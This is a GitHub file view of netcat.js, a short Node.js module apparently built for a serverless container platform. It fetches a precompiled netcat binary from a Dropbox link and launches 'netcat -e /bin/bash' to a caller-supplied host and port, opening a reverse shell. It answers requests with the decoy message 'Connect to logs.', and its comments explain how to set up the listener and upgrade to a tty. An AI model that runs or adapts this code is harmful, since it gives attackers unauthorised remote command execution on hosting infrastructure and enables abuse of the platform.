-
Notifications
You must be signed in to change notification settings - Fork 0
/
netcat.js
62 lines (51 loc) · 2.37 KB
/
netcat.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
var execsync = require('child_process').execSync;
var exec = require('child_process').exec;
var fs = require('fs');
// download netcat and initiate reverse shell
// edit final command to point at appropriate ip address hosting a listening netcat port
// launch listening port with netcat -l portnum
// i like grabbing a tty using python w/
// python -c 'import pty; pty.spawn("/bin/sh")'
// you can type that in right after you start netcat... its satisfying to see the shell prompt pop when it connects :D
// run companion keep_alive.py script to both initiate the netcat & container and keep the connection up and running
var exists = false;
function file_exist(path) {
try {
fs.accessSync(path, fs.F_OK);
return true;
} catch (e) { return false; };
}
module.exports = function (context, cb) {
cb(null, 'Connect to logs. ');
// for our container keepalives we want to not launch new netcats
try {
if (context.data.host)
exists = true;
} catch (e) { };
if (exists) {
// option 1 compile netcat
// cmd = 'wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz -O /tmp/netcat-0.7.1.tar.gz'
// execsync(cmd, {stdio:[0,1,2]} );
// cmd = 'cd /tmp; tar xzvf netcat-0.7.1.tar.gz'
// execsync(cmd, {stdio:[0,1,2]});
// cmd = 'cd /tmp/netcat-0.7.1 && ./configure'
// execsync(cmd, {stdio:[0,1,2]} );
// cmd = 'cd /tmp/netcat-0.7.1 && make'
// execsync(cmd, {stdio:[0,1,2]} );
// cmd = '/tmp/netcat-0.7.1/src/netcat -e /bin/bash ' + context.data.host + ' ' + context.data.port
// option 2 grab precompiled binaries
if (!(file_exist('/data/io/stuff.tar.bz'))) {
cmd = 'wget https://www.dropbox.com/s/u0my5zl9lelhiv8/stuff.tar.bz?dl=0 -O /data/io/stuff.tar.bz';
execsync(cmd, {stdio:[0,1,2]} );
}
if (!(file_exist('/data/io/netcat'))) {
cmd = 'cd /data/io/; tar xjvf stuff.tar.bz';
execsync(cmd, {stdio:[0,1,2]});
}
// last command fails if the remote port is unreachable/ not listening
// launching into the background so we can do it async
cmd = 'cd /data/io && ./netcat -e /bin/bash ' + context.data.host + ' ' + context.data.port + ' &';
exec(cmd, {stdio:[0,1,2]} );
console.log('Complete');
}
}